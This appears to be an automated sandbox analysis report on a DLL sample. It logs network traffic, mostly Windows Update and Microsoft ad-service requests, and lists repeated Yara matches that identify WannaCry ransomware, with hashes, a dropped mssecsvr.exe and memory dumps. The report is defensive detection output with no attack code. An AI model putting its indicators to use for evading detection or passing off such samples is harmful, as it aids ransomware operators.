Source: global traffic	HTTP traffic detected: GET /SLS/%7B9482F4B4-E343-43B6-B170-9A65BC822C77%7D/x64/10.0.17134.1/0?CH=17&L=en-US&P=&PT=0x30&WUA=10.0.17134.1&MK=vtrywLfNBWfaox+&MD=uALVfvDu HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/1.81Host: sls.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /v1/a/opportunity?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106554&cid=128000000001392709&tid=700342084&reqasid=a1e0598815e74764b880c8ce69762907&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9WZDNCRFHVFW&skuId=0010&installKind=Install&ctid=store-curated-postoobe&bSrc=i.t&asid=ef50effad3b8427db7cce16e9ea9c3a8&time=20220720T160932Z HTTP/1.1Accept-Encoding: gzip, deflateUser-Agent: WindowsShellClient/9.0.40929.0 (Windows)Host: ris.api.iris.microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /v1/a/opportunity?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106554&cid=128000000001392709&tid=700342084&reqasid=a1e0598815e74764b880c8ce69762907&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9NCBCSZSJRSB&skuId=0010&installKind=Install&ctid=store-curated-postoobe&bSrc=i.t&asid=ef50effad3b8427db7cce16e9ea9c3a8&time=20220720T160933Z HTTP/1.1Accept-Encoding: gzip, deflateUser-Agent: WindowsShellClient/9.0.40929.0 (Windows)Host: ris.api.iris.microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /v1/a/opportunity?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106554&cid=128000000001392709&tid=700342084&reqasid=a1e0598815e74764b880c8ce69762907&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9NMPJ99VJBWV&skuId=0010&installKind=Install&ctid=store-curated-postoobe&bSrc=i.t&asid=ef50effad3b8427db7cce16e9ea9c3a8&time=20220720T160935Z HTTP/1.1Accept-Encoding: gzip, deflateUser-Agent: WindowsShellClient/9.0.40929.0 (Windows)Host: ris.api.iris.microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /SLS/%7B9482F4B4-E343-43B6-B170-9A65BC822C77%7D/x64/10.0.17134.1/0?CH=17&L=en-US&P=&PT=0x30&WUA=10.0.17134.1&MK=vtrywLfNBWfaox+&MD=uALVfvDu HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/1.81Host: sls.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /v1/a/opportunity?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106554&cid=128000000001392709&tid=700342084&reqasid=a1e0598815e74764b880c8ce69762907&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9NBLGGH5FV99&skuId=0010&installKind=Install&ctid=store-curated-postoobe&bSrc=i.t&asid=ef50effad3b8427db7cce16e9ea9c3a8&time=20220720T160940Z HTTP/1.1Accept-Encoding: gzip, deflateUser-Agent: WindowsShellClient/9.0.40929.0 (Windows)Host: ris.api.iris.microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /v1/a/opportunity?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106554&cid=128000000001392709&tid=700342084&reqasid=a1e0598815e74764b880c8ce69762907&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9WZDNCRDFNG7&skuId=0010&installKind=Install&ctid=store-curated-postoobe&bSrc=i.t&asid=ef50effad3b8427db7cce16e9ea9c3a8&time=20220720T160941Z HTTP/1.1Accept-Encoding: gzip, deflateUser-Agent: WindowsShellClient/9.0.40929.0 (Windows)Host: ris.api.iris.microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /v1/a/impression?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106554&cid=128000000001392709&tid=700342084&reqasid=a1e0598815e74764b880c8ce69762907&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&bSrc=i.t&time=20220720T160943Z&asid=ef50effad3b8427db7cce16e9ea9c3a8&eid= HTTP/1.1Accept-Encoding: gzip, deflateUser-Agent: WindowsShellClient/9.0.40929.0 (Windows)Host: ris.api.iris.microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /SLS/%7B9482F4B4-E343-43B6-B170-9A65BC822C77%7D/x64/10.0.17134.1/0?CH=17&L=en-US&P=&PT=0x30&WUA=10.0.17134.1&MK=vtrywLfNBWfaox+&MD=uALVfvDu HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/1.81Host: sls.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /SLS/%7B9482F4B4-E343-43B6-B170-9A65BC822C77%7D/x64/10.0.17134.1/0?CH=17&L=en-US&P=&PT=0x30&WUA=10.0.17134.1&MK=vtrywLfNBWfaox+&MD=uALVfvDu HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/1.81Host: sls.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /SLS/%7B9482F4B4-E343-43B6-B170-9A65BC822C77%7D/x64/10.0.17134.1/0?CH=17&L=en-US&P=&PT=0x30&WUA=10.0.17134.1&MK=vtrywLfNBWfaox+&MD=uALVfvDu HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/1.81Host: sls.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /SLS/%7B9482F4B4-E343-43B6-B170-9A65BC822C77%7D/x64/10.0.17134.1/0?CH=17&L=en-US&P=&PT=0x30&WUA=10.0.17134.1&MK=vtrywLfNBWfaox+&MD=uALVfvDu HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/1.81Host: sls.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /v1/a/impression?CID=128000000000402926&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&EID=&&PID=400091688&UIT=P-&TargetID=700129702&AN=431742755&PG=PC000P0FR5.0000000IRT&REQASID=678D4FDFE11C44028EB44821F99CCF51&UNID=338388&ASID=98516725aa824d6fae95180a92f6cf5b&PERSID=02AA8208DC2442607EBF3783DF63721D&GLOBALDEVICEID=6825795053065338&LOCALID=w:BE8AB8DF-DCD1-3523-4A95-3A04EAFF1CBA&DS_EVTID=04038c8eb4ed48e4b20183eb600cb467&DEVOSVER=10.0.17134.1&REQT=20220720T070805&TIME=20220720T160847Z&ARCRAS=&CLR=CDM HTTP/1.1Accept-Encoding: gzip, deflateUser-Agent: WindowsShellClient/9.0.40929.0 (Windows)Host: ris.api.iris.microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /v1/a/impression?CID=128000000000402926&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&EID=&&PID=400091688&UIT=P-&TargetID=700129702&AN=431742755&PG=PC000P0FR5.0000000IRT&REQASID=678D4FDFE11C44028EB44821F99CCF51&UNID=338388&ASID=98516725aa824d6fae95180a92f6cf5b&PERSID=02AA8208DC2442607EBF3783DF63721D&GLOBALDEVICEID=6825795053065338&LOCALID=w:BE8AB8DF-DCD1-3523-4A95-3A04EAFF1CBA&DS_EVTID=04038c8eb4ed48e4b20183eb600cb467&DEVOSVER=10.0.17134.1&REQT=20220720T070805&TIME=20220720T160849Z&ARCRAS=&CLR=CDM HTTP/1.1Accept-Encoding: gzip, deflateUser-Agent: WindowsShellClient/9.0.40929.0 (Windows)Host: ris.api.iris.microsoft.comConnection: Keep-Alive

Source: unknown	HTTPS traffic detected: 20.40.136.238:443 -> 192.168.2.6:49720 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.40.136.238:443 -> 192.168.2.6:49719 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.211.4.86:443 -> 192.168.2.6:49740 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 131.253.33.200:443 -> 192.168.2.6:49820 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.126.31.73:443 -> 192.168.2.6:50125 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.126.31.67:443 -> 192.168.2.6:50150 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.199.120.85:443 -> 192.168.2.6:50195 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 131.253.33.200:443 -> 192.168.2.6:50206 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 131.253.33.200:443 -> 192.168.2.6:50205 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.82.209.183:443 -> 192.168.2.6:50224 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.82.209.183:443 -> 192.168.2.6:50223 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.199.120.151:443 -> 192.168.2.6:50250 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.199.120.85:443 -> 192.168.2.6:50288 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.199.120.85:443 -> 192.168.2.6:50365 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.199.120.85:443 -> 192.168.2.6:50424 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.199.120.151:443 -> 192.168.2.6:50561 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.199.120.85:443 -> 192.168.2.6:50666 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 80.67.82.211:443 -> 192.168.2.6:50721 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 80.67.82.211:443 -> 192.168.2.6:50724 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 80.67.82.211:443 -> 192.168.2.6:50722 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 80.67.82.211:443 -> 192.168.2.6:50723 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 80.67.82.211:443 -> 192.168.2.6:50748 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.199.120.85:443 -> 192.168.2.6:50841 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.199.120.151:443 -> 192.168.2.6:51173 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.199.120.85:443 -> 192.168.2.6:51321 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.82.209.183:443 -> 192.168.2.6:51705 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.199.120.85:443 -> 192.168.2.6:51952 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.199.120.85:443 -> 192.168.2.6:52054 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.199.120.85:443 -> 192.168.2.6:53010 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.199.120.85:443 -> 192.168.2.6:53309 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.199.120.151:443 -> 192.168.2.6:54448 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.125.122.176:443 -> 192.168.2.6:54590 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.125.122.176:443 -> 192.168.2.6:54736 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.54.89.106:443 -> 192.168.2.6:54810 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 52.152.110.14:443 -> 192.168.2.6:54885 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 52.152.110.14:443 -> 192.168.2.6:55111 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.54.89.106:443 -> 192.168.2.6:55188 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.199.120.85:443 -> 192.168.2.6:55268 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 52.152.110.14:443 -> 192.168.2.6:55270 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.54.89.106:443 -> 192.168.2.6:55348 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.238.103.94:443 -> 192.168.2.6:55350 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.54.89.106:443 -> 192.168.2.6:55430 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.54.89.106:443 -> 192.168.2.6:55434 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.125.122.176:443 -> 192.168.2.6:55519 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.125.122.176:443 -> 192.168.2.6:55601 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 52.152.110.14:443 -> 192.168.2.6:55701 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 52.152.110.14:443 -> 192.168.2.6:55846 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 52.152.110.14:443 -> 192.168.2.6:55940 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.54.89.106:443 -> 192.168.2.6:56017 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.199.120.151:443 -> 192.168.2.6:56345 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.54.89.106:443 -> 192.168.2.6:56346 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.54.89.106:443 -> 192.168.2.6:56346 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.125.122.176:443 -> 192.168.2.6:56393 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.199.120.151:443 -> 192.168.2.6:59313 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.199.120.85:443 -> 192.168.2.6:61473 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.126.31.71:443 -> 192.168.2.6:64872 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.126.31.71:443 -> 192.168.2.6:64873 version: TLS 1.2

Spam, unwanted Advertisements and Ransom Demands

Yara detected Wannacry ransomware

Source: Yara match	File source: 48O5lgRp91.dll, type: SAMPLE
Source: Yara match	File source: 6.0.mssecsvr.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.0.mssecsvr.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.0.mssecsvr.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.0.mssecsvr.exe.400000.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.0.mssecsvr.exe.400000.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.mssecsvr.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.0.mssecsvr.exe.400000.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.0.mssecsvr.exe.400000.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.mssecsvr.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.mssecsvr.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.0.mssecsvr.exe.400000.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.0.mssecsvr.exe.400000.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000004.00000000.378557270.000000000040F000.00000008.00000001.01000000.00000004.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000000.388287786.000000000040F000.00000008.00000001.01000000.00000004.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.984192317.000000000042E000.00000004.00000001.01000000.00000004.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000000.384217743.000000000040F000.00000008.00000001.01000000.00000004.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.396748214.000000000040F000.00000008.00000001.01000000.00000004.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000000.380329258.000000000040F000.00000008.00000001.01000000.00000004.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000000.383341101.000000000040F000.00000008.00000001.01000000.00000004.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000000.377544877.000000000040F000.00000008.00000001.01000000.00000004.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000000.387978137.000000000040F000.00000008.00000001.01000000.00000004.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.393982614.000000000040F000.00000008.00000001.01000000.00000004.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000000.386527298.000000000040F000.00000008.00000001.01000000.00000004.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000000.389511100.000000000040F000.00000008.00000001.01000000.00000004.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: mssecsvr.exe PID: 7092, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: mssecsvr.exe PID: 7116, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: mssecsvr.exe PID: 7156, type: MEMORYSTR
Source: Yara match	File source: C:\Windows\mssecsvr.exe, type: DROPPED

System Summary

Malicious sample detected (through community Yara rule)

Source: 48O5lgRp91.dll, type: SAMPLE	Matched rule: Detects WannaCry Ransomware Author: Florian Roth (with the help of binar.ly)
Source: 6.0.mssecsvr.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects WannaCry Ransomware Author: Florian Roth (with the help of binar.ly)
Source: 6.0.mssecsvr.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects WannaCry Ransomware Author: Florian Roth (based on rule by US CERT)
Source: 7.0.mssecsvr.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects WannaCry Ransomware Author: Florian Roth (with the help of binar.ly)
Source: 7.0.mssecsvr.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects WannaCry Ransomware Author: Florian Roth (based on rule by US CERT)
Source: 4.0.mssecsvr.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects WannaCry Ransomware Author: Florian Roth (with the help of binar.ly)
Source: 4.0.mssecsvr.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects WannaCry Ransomware Author: Florian Roth (based on rule by US CERT)
Source: 4.0.mssecsvr.exe.400000.4.unpack, type: UNPACKEDPE	Matched rule: Detects WannaCry Ransomware Author: Florian Roth (with the help of binar.ly)
Source: 4.0.mssecsvr.exe.400000.4.unpack, type: UNPACKEDPE	Matched rule: Detects WannaCry Ransomware Author: Florian Roth (based on rule by US CERT)
Source: 6.0.mssecsvr.exe.400000.6.unpack, type: UNPACKEDPE	Matched rule: Detects WannaCry Ransomware Author: Florian Roth (with the help of binar.ly)
Source: 6.0.mssecsvr.exe.400000.6.unpack, type: UNPACKEDPE	Matched rule: Detects WannaCry Ransomware Author: Florian Roth (based on rule by US CERT)
Source: 7.2.mssecsvr.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects WannaCry Ransomware Author: Florian Roth (with the help of binar.ly)
Source: 7.2.mssecsvr.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects WannaCry Ransomware Author: Florian Roth (based on rule by US CERT)
Source: 4.0.mssecsvr.exe.400000.2.unpack, type: UNPACKEDPE	Matched rule: Detects WannaCry Ransomware Author: Florian Roth (with the help of binar.ly)
Source: 4.0.mssecsvr.exe.400000.2.unpack, type: UNPACKEDPE	Matched rule: Detects WannaCry Ransomware Author: Florian Roth (based on rule by US CERT)
Source: 6.0.mssecsvr.exe.400000.4.unpack, type: UNPACKEDPE	Matched rule: Detects WannaCry Ransomware Author: Florian Roth (with the help of binar.ly)
Source: 6.0.mssecsvr.exe.400000.4.unpack, type: UNPACKEDPE	Matched rule: Detects WannaCry Ransomware Author: Florian Roth (based on rule by US CERT)
Source: 4.2.mssecsvr.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects WannaCry Ransomware Author: Florian Roth (with the help of binar.ly)
Source: 4.2.mssecsvr.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects WannaCry Ransomware Author: Florian Roth (based on rule by US CERT)
Source: 6.2.mssecsvr.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects WannaCry Ransomware Author: Florian Roth (with the help of binar.ly)
Source: 6.2.mssecsvr.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects WannaCry Ransomware Author: Florian Roth (based on rule by US CERT)
Source: 4.0.mssecsvr.exe.400000.6.unpack, type: UNPACKEDPE	Matched rule: Detects WannaCry Ransomware Author: Florian Roth (with the help of binar.ly)
Source: 4.0.mssecsvr.exe.400000.6.unpack, type: UNPACKEDPE	Matched rule: Detects WannaCry Ransomware Author: Florian Roth (based on rule by US CERT)
Source: 6.0.mssecsvr.exe.400000.2.unpack, type: UNPACKEDPE	Matched rule: Detects WannaCry Ransomware Author: Florian Roth (with the help of binar.ly)
Source: 6.0.mssecsvr.exe.400000.2.unpack, type: UNPACKEDPE	Matched rule: Detects WannaCry Ransomware Author: Florian Roth (based on rule by US CERT)
Source: C:\Windows\mssecsvr.exe, type: DROPPED	Matched rule: Detects WannaCry Ransomware Author: Florian Roth (with the help of binar.ly)
Source: C:\Windows\mssecsvr.exe, type: DROPPED	Matched rule: Detects WannaCry Ransomware Author: Florian Roth (based on rule by US CERT)

Source: 48O5lgRp91.dll

Static PE information: EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, DLL

Source: 48O5lgRp91.dll, type: SAMPLE	Matched rule: WannaCry_Ransomware date = 2017-05-12, hash1 = ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa, author = Florian Roth (with the help of binar.ly), description = Detects WannaCry Ransomware, reference = https://goo.gl/HG2j5T
Source: 6.0.mssecsvr.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: WannaCry_Ransomware date = 2017-05-12, hash1 = ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa, author = Florian Roth (with the help of binar.ly), description = Detects WannaCry Ransomware, reference = https://goo.gl/HG2j5T
Source: 6.0.mssecsvr.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: WannaCry_Ransomware_Gen date = 2017-05-12, hash3 = 4384bf4530fb2e35449a8e01c7e0ad94e3a25811ba94f7847c1e6612bbb45359, hash2 = 8e5b5841a3fe81cade259ce2a678ccb4451725bba71f6662d0cc1f08148da8df, hash1 = 9fe91d542952e145f2244572f314632d93eb1e8657621087b2ca7f7df2b0cb05, author = Florian Roth (based on rule by US CERT), description = Detects WannaCry Ransomware, reference = https://www.us-cert.gov/ncas/alerts/TA17-132A
Source: 7.0.mssecsvr.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: WannaCry_Ransomware date = 2017-05-12, hash1 = ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa, author = Florian Roth (with the help of binar.ly), description = Detects WannaCry Ransomware, reference = https://goo.gl/HG2j5T
Source: 7.0.mssecsvr.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: WannaCry_Ransomware_Gen date = 2017-05-12, hash3 = 4384bf4530fb2e35449a8e01c7e0ad94e3a25811ba94f7847c1e6612bbb45359, hash2 = 8e5b5841a3fe81cade259ce2a678ccb4451725bba71f6662d0cc1f08148da8df, hash1 = 9fe91d542952e145f2244572f314632d93eb1e8657621087b2ca7f7df2b0cb05, author = Florian Roth (based on rule by US CERT), description = Detects WannaCry Ransomware, reference = https://www.us-cert.gov/ncas/alerts/TA17-132A
Source: 4.0.mssecsvr.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: WannaCry_Ransomware date = 2017-05-12, hash1 = ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa, author = Florian Roth (with the help of binar.ly), description = Detects WannaCry Ransomware, reference = https://goo.gl/HG2j5T
Source: 4.0.mssecsvr.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: WannaCry_Ransomware_Gen date = 2017-05-12, hash3 = 4384bf4530fb2e35449a8e01c7e0ad94e3a25811ba94f7847c1e6612bbb45359, hash2 = 8e5b5841a3fe81cade259ce2a678ccb4451725bba71f6662d0cc1f08148da8df, hash1 = 9fe91d542952e145f2244572f314632d93eb1e8657621087b2ca7f7df2b0cb05, author = Florian Roth (based on rule by US CERT), description = Detects WannaCry Ransomware, reference = https://www.us-cert.gov/ncas/alerts/TA17-132A
Source: 4.0.mssecsvr.exe.400000.4.unpack, type: UNPACKEDPE	Matched rule: WannaCry_Ransomware date = 2017-05-12, hash1 = ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa, author = Florian Roth (with the help of binar.ly), description = Detects WannaCry Ransomware, reference = https://goo.gl/HG2j5T
Source: 4.0.mssecsvr.exe.400000.4.unpack, type: UNPACKEDPE	Matched rule: WannaCry_Ransomware_Gen date = 2017-05-12, hash3 = 4384bf4530fb2e35449a8e01c7e0ad94e3a25811ba94f7847c1e6612bbb45359, hash2 = 8e5b5841a3fe81cade259ce2a678ccb4451725bba71f6662d0cc1f08148da8df, hash1 = 9fe91d542952e145f2244572f314632d93eb1e8657621087b2ca7f7df2b0cb05, author = Florian Roth (based on rule by US CERT), description = Detects WannaCry Ransomware, reference = https://www.us-cert.gov/ncas/alerts/TA17-132A
Source: 6.0.mssecsvr.exe.400000.6.unpack, type: UNPACKEDPE	Matched rule: WannaCry_Ransomware date = 2017-05-12, hash1 = ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa, author = Florian Roth (with the help of binar.ly), description = Detects WannaCry Ransomware, reference = https://goo.gl/HG2j5T
Source: 6.0.mssecsvr.exe.400000.6.unpack, type: UNPACKEDPE	Matched rule: WannaCry_Ransomware_Gen date = 2017-05-12, hash3 = 4384bf4530fb2e35449a8e01c7e0ad94e3a25811ba94f7847c1e6612bbb45359, hash2 = 8e5b5841a3fe81cade259ce2a678ccb4451725bba71f6662d0cc1f08148da8df, hash1 = 9fe91d542952e145f2244572f314632d93eb1e8657621087b2ca7f7df2b0cb05, author = Florian Roth (based on rule by US CERT), description = Detects WannaCry Ransomware, reference = https://www.us-cert.gov/ncas/alerts/TA17-132A
Source: 7.2.mssecsvr.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: WannaCry_Ransomware date = 2017-05-12, hash1 = ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa, author = Florian Roth (with the help of binar.ly), description = Detects WannaCry Ransomware, reference = https://goo.gl/HG2j5T
Source: 7.2.mssecsvr.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: WannaCry_Ransomware_Gen date = 2017-05-12, hash3 = 4384bf4530fb2e35449a8e01c7e0ad94e3a25811ba94f7847c1e6612bbb45359, hash2 = 8e5b5841a3fe81cade259ce2a678ccb4451725bba71f6662d0cc1f08148da8df, hash1 = 9fe91d542952e145f2244572f314632d93eb1e8657621087b2ca7f7df2b0cb05, author = Florian Roth (based on rule by US CERT), description = Detects WannaCry Ransomware, reference = https://www.us-cert.gov/ncas/alerts/TA17-132A
Source: 4.0.mssecsvr.exe.400000.2.unpack, type: UNPACKEDPE	Matched rule: WannaCry_Ransomware date = 2017-05-12, hash1 = ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa, author = Florian Roth (with the help of binar.ly), description = Detects WannaCry Ransomware, reference = https://goo.gl/HG2j5T
Source: 4.0.mssecsvr.exe.400000.2.unpack, type: UNPACKEDPE	Matched rule: WannaCry_Ransomware_Gen date = 2017-05-12, hash3 = 4384bf4530fb2e35449a8e01c7e0ad94e3a25811ba94f7847c1e6612bbb45359, hash2 = 8e5b5841a3fe81cade259ce2a678ccb4451725bba71f6662d0cc1f08148da8df, hash1 = 9fe91d542952e145f2244572f314632d93eb1e8657621087b2ca7f7df2b0cb05, author = Florian Roth (based on rule by US CERT), description = Detects WannaCry Ransomware, reference = https://www.us-cert.gov/ncas/alerts/TA17-132A
Source: 6.0.mssecsvr.exe.400000.4.unpack, type: UNPACKEDPE	Matched rule: WannaCry_Ransomware date = 2017-05-12, hash1 = ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa, author = Florian Roth (with the help of binar.ly), description = Detects WannaCry Ransomware, reference = https://goo.gl/HG2j5T
Source: 6.0.mssecsvr.exe.400000.4.unpack, type: UNPACKEDPE	Matched rule: WannaCry_Ransomware_Gen date = 2017-05-12, hash3 = 4384bf4530fb2e35449a8e01c7e0ad94e3a25811ba94f7847c1e6612bbb45359, hash2 = 8e5b5841a3fe81cade259ce2a678ccb4451725bba71f6662d0cc1f08148da8df, hash1 = 9fe91d542952e145f2244572f314632d93eb1e8657621087b2ca7f7df2b0cb05, author = Florian Roth (based on rule by US CERT), description = Detects WannaCry Ransomware, reference = https://www.us-cert.gov/ncas/alerts/TA17-132A
